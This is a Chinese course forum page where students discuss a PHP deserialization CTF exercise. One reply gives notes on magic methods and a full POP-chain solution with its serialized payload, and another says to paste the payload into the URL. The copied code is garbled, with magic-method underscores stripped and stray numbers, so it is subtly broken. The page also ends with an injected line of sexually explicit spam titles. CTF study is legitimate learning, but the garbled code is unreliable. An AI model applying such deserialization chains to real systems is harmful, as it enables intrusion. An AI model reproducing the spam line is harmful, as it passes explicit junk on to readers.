<button id="nckgc"><object id="nckgc"></object></button><button id="nckgc"><acronym id="nckgc"></acronym></button>

    1. 首頁
      社區
      課程
      招聘
      操作不完整

      問題描述

      ,沒講反序列在頁面中怎么操作

      問題出現的環境背景及自己嘗試過哪些方法

      相關代碼

      粘貼代碼文本(請勿用截圖)

      相關調試信息

      附圖或描述

      你期待的結果是什么?實際看到的錯誤信息又是什么?

      收藏
      5條回答
      Editor 2023-9-15

      這節還是有些難的,講師將思路全部講了,實操得自己去摸索一下,這樣才能理解的更深刻。也希望其他人,將研究心得發在筆記里分享出來。

      回復
      Spider_008 2023-9-20

      筆記如下:

      PHP反序列化漏洞分析與實操講解

      簡介

      ● 序列化(serialize()):將PHP對象壓縮并按照一定格式轉換成宇符串過程
      ● 反序列化(unserialize()):從宇符串轉換回PHP對象的過程
      ● 目的:為了方便PHP對象的傳輸和存儲

      聯想到電腦(diy)的栗子

      案例1

       

      ● PS:主要用于對象的持久化(將對象保存到磁盤上以便以后讀取)或在不同系統之間傳輸對象。

      序列化實例



      反序列化攻擊概述

      • unserialize接收的參數用戶可控,傳入構造的字符串,實現攻擊
        • 只序列化屬性、不序列化方法
          • 屬性名、屬性值、訪問控制權限都存在,但是方法消失
      • 要尋找合適的能被我們控制的屬性,利用本身存在的方法

      魔術方法

      ● 以 開頭
      ● (1)construct():當對象創建時會自動調用(但在unserialize()時是不會自動調用的)。
      ● (2)wakeup()unserialize()時會自動調用. 當對象所包含的屬性數<->不一致
      ● (3)destruct():當對象被銷毀時會自動調用。
      ● (4)toString(): 當反序列化后的對象被輸出在模板中的時候(轉換成字符串的時候)自動調用
      __construct()

       

      __destruct()

       

      __sleep()

       

      __wakeup()

       

      __toString()

       

      __invoke()

       

      __call()

       

      反序列化 中常用的魔術方法

       

      wakeup() //使用 unserialize 時觸發 sleep() //使用 serialize 時觸發
      destruct() //對象被銷毀時觸發 call() //在對象上下文中調用不可訪問的方法時觸發
      callstatic () //在靜態上下文中調用不可訪問的方法時觸發 construct()//當對象被創建(new)時會自動調用
      get() //用于從不可訪問的屬性讀取數據 set () //用于將數據寫入不可訪問的屬性
      isset () //在不可訪問的屬性上調用 isset ()或 empty() 時觸發 unset () //在不可訪問的屬性上使用 unset () 時觸發
      tostring() //把類當作字符串使用時觸發 invoke () //當腳本嘗試將對象調用為函數時觸發

       

      反序列化攻擊樣例

       

      Aurora 對象的$test 變量為一個Evil 對象
      Evil對象中的$test2變量為我們想要執行的系統命令
      Aurora對象銷毀時,調用destruct魔法函數,進而調用Evilaction函數,進而執行$test2中我們想要執行的系統命令
      ● 生成Payload

      Review



      實戰分析

      ● 靶機環境 CTF30小時訓練營 實踐題目
      根據Review提示構造payload
      ● step
      ○ 1.查看代碼邏輯;
      ○ 2.根據代碼邏輯構造payload;

       

      class allstart
      {
      public $var1;
      public $var2;
      public function construct()
      {
      $this->var1 = new func1();
      }
      public function
      destruct()
      {
      $this->var1->test1();
      }
      }
      class func1
      {
      public $var1;
      public $var2;
      public function construct()
      {
      $this->var1 = new func2();
      }
      public function test1()
      {
      $this->var1->test2();
      }
      }
      class func2
      {
      //step3: func2->
      call()->在對象上下?中調?不可訪問的?法時觸發
      public $var1;
      public $var2;
      public function construct()
      {
      $this->var1 = new func3();
      }
      public function
      call($test2,$arr)
      {
      $s1 = $this->var1;
      $s1();
      }
      }
      class func3
      {
      //step3:func3->invoke()->concat string
      public $var1;
      public $var2;
      public function
      construct()
      {
      $this->var1 = new func4();
      }
      // 嘗試將對象調?為函數時觸發
      public function invoke()
      {
      $this->var2 = "concat string".$this->var1;
      }
      }
      class func4
      {
      // step2:func4->
      tostring()->get_flag()
      public $str1;
      public $str2;
      public function construct()
      {
      $this->str1 = new toget();
      }
      public function
      toString()
      {
      $this->str1->get_flag();
      return "1";
      }
      }
      class toget
      {
      // step1: get_flag()
      public function get_flag()
      {

      1
      2
              ##echo "flag{***}";
      }

      }
      $a=new allstart();
      echo serialize($a);

       

      O:8:"allstart":2:{s:4:"var1";O:5:"func1":2:{s:4:"var1";O:5:"func2":2:{s:4:"var1";O:5:"func3":2:{s:4:"var1";O:5:"func4":2:{s:4:"str1";O:5:"toget":0:{}s:4:"str2";N;}s:4:"var2";N;}s:4:"var2";N;}s:4:"var2";N;}s:4:"var2";N;}

      總結

      WebPHP反序列化漏洞分析能力得到提高。

      回復
      mb_njatsyxb: 謝謝同學這么細致的筆記,理解了,那獲得了序列化后,怎么獲取flag呢?
      回復 2023-9-21
      Spider_008 2023-9-20

      mark

      回復
      mb_xqobfuba 2024-2-22

      大家序列化之后貼到地址欄那里就行了

      回復
      mb_yazpxvld 2024-3-4

      mark

      回復
      《30小時教你玩轉CTF》
        參與學習     456 人
        提問次數     50 個
      《30小時教你玩轉CTF》;頂尖講師團隊親授,教你深入淺出學攻防;每周一、周四更新
      我的問答 領取收益
      0
      我的提問
      0
      我的回答
      0
      學習收益
      国产极品粉嫩福利姬萌白酱_欧美日韩在99线_粉条茄子做法视频_被按摩师玩弄到潮喷在线播放